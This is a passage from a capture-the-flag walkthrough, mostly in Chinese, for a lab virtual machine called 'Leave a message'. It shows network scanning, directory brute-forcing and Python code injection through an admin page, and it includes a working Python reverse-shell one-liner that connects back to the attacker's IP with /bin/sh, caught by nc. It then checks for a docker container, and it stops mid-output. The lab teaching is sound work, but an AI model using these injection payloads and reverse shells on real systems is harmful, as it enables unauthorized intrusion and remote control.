Description
Leave a message is a new anonymous social networking site where users can post messages for each other. They’ve assigned you to test their set up. They do utilize docker containers. You can conduct attacks against those too. Try to see if you can get root on the host though.
Difficulty: Med
Tasks involved:
- port scanning
- webapp attacks
- code injection
- pivoting
- exploitation
- password cracking
- brute forcing
Virtual Machine:
- Format: Virtual Machine (Virtualbox OVA)
- Operating System: Linux
Networking:
- DHCP Service: Enabled
- IP Address Automatically assign
This works better with VirtualBox rather than VMware.
服务识别
先找出靶机的IP地址
sudo arp-scan -I eth0 -l
靶机IP地址为10.0.2.19,本机IP10.0.2.16
简单做个扫描
sudo nmap -p- -sV 10.0.2.19
靶机开放了ssh服务和http服务(5000端口),这个网站后台应该是python2.7写的
先试着访问网站
进行目录爆破
dirsearch -u http://10.0.2.19:5000/
发现admin路径
这是一个代码测试页面,可以尝试注入恶意代码,返回shell
代码注入
这个网站后台是python写的,可以写一些python脚本看下能不能执行
exec(compile('import time;time.sleep(5)','','single'))
通过页面响应时间来判断是否存在漏洞,果不其然,5秒左右响应
#python reverse shell
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.2.16",3334));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
写入一个shell,用nc监听
拿到shell了,发现还是root权限,根据提示,应该没那么简单。
经过发现这是一台docker环境下的虚拟机
判断是否为docker环境有两种方式
一种是判断根目录下 .dockerenv 文件
docker环境下:ls -alh /.dockerenv , 非docker环境,没有这个.dockerenv文件的
/ # ls -lah /.dockerenv
-rwxr-xr-x 1 root root 0 Aug 20 16:34 /.dockerenv
另一种查询系统进程的cgroup信息
docker环境
/ # cat /proc/1/cgroup
11:name=systemd:/docker/629c1689467becd09aa09b24c5ed64e36a35bcb9bf9d130c4263deb401c23410
10:hugetlb:/docker/629c1689467becd09aa09b24c5ed64e36a35bcb9bf9d130c4263deb401c23410
9:perf_event:/d